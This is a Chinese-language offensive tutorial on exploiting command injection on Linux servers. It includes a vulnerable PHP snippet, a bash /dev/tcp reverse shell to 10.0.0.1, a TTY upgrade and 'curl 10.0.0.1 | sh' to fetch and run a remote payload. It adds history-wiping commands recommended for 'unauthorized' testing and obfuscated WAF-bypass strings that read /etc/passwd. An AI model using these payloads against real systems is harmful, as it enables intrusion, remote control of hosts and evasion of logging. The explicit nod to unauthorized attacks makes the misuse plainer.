命令注入一些利用技巧
前言
如果在做渗透的时候如果能发现一处命令注入,肯定会特别开心,这个时候就离进内网不远了,但往往会遇到各种限制,本文记录一些利用技巧。
首先要先区分命令注入和代码执行的区别,这是两种不同的概念,很容易搞混。
可以看这篇文章 命令注入与代码执行的判断
命令注入我遇到绝大部分环境都是 Linux,Win 也有但是很少很少(可能是还是做渗透少)所以本文着重分享 Linux 下的一些姿势
判断
命令注入大致可分为有回显和没回显两种,检测判断方法可以参照@RickGray 所写的 漏洞检测的那些事儿 或者用 sleep 判断响应时间,有点像 SQL injection 时间盲注。
发现
根据判断方式一般准确度很高,可能存在漏洞的位置可能也是千奇百怪,如吴师傅曾发现过在发短信位置的命令注入,猜测这个位置有调用 sh ,或者无脑 fuzz,在可控的位置都打上 Payload 往往也会有奇效,运气成分很大。
如果是拼接,比如
<?php
$vul = $_GET['vul'];
echo("grep {$vul} /etc/hosts -C 10");
echo '<br/>';
system("grep {$vul} /etc/hosts -C 10");
这里直接拼接进入 system 函数,存在命令注入,但由于前面有 grep命令,直接提交想执行的命令是行不通的,这时要利用一些方法 比如管道符 ** | **,
或者换行 ** %0a **
利用
有回显自然方便,可以直接当做一个 “Shell接口”,不过容易遇到编码的坑也没有 tty 那样方便,这个时候就要考虑反弹 Shell 出来,反弹 Shell 是让目标主机主动连接你,所以需要有一个外网 IP 才行,常用的一条反弹命令,更多 文· Reverse Shell Cheat Sheet
bash -i >& /dev/tcp/10.0.0.1/2333 0>&1
然后用 Python 得到一个 tty Shell,更多 文· Spawning a TTY Shell
python -c 'import pty; pty.spawn("/bin/bash")'
这样就得到一个 tty Shell,更方便做一些操作
更多情况我们遇到的命令注入可能都是不回显的,没有回显就不能从执行命令页面的返回内容来判断是否存在漏洞,然后就要用到一个更高级的判断方式,利用外部 http 访问记录或者 dns 记录来判断,我更喜欢把这种方式叫做 Cloudeye,想念毕鸽子一秒钟。0x02 有介绍。
乌云上 lijiejie 发过几个隐式命令注入估计也是用的这种方法做的判断,黑盒扫描,所有能控制的位置都打一发 payload
之前 zone 里有帖子讨论过不回显的命令注入怎么带数据,各种集思广益脑洞很大的方法,红老师这篇文章有介绍是比较全了,文·Tankeye使用宝典
有时候命令注入可能会有过滤某些字符或者各种编码坑,可以使用管道符 “|”
可以这样,在vps 开 http,index.html 内容写** bash -i >& /dev/tcp/10.0.0.1/2333 0>&1 **
curl 10.0.0.1 | sh
或者用重定向 “>” 写文件再执行也是一样,有时候会遇到反弹不出来,可以选择反弹到80或者443,或者换其他反弹 Shell 方式。
如果你在做未授权的渗透测试在反弹 Shell 后最好执行一下下面的命令,防止被记录到history
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;export HISTSIZE=0; export HISTFILESIZE=0
绕过
得益于 bash 的灵活性,命令注入绕 waf 还是很简单的。
@zTrix 在16年阿里安全峰会有分享一些姿势 PPT · 论WAF的新玩法
比如
更激进一点, 这里利用上顿号,或者使用**$()**的方式
或者用16进制,理论上其他能 decode 的编码应该都可以
或者用变量
如果空格被过滤,@猪猪侠 的小秘圈 ‘安全技术’ 中学到的姿势
@Mickey 老师的分享,$IFS的方法都很熟悉了,**{,,}**这个方法真的眼前一亮
拆分环境变量
${SHELLOPTS:3:1}at${IFS}${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd
读文件绕过空格用 <> 重定向符和 ${IFS}
更多技巧等待发掘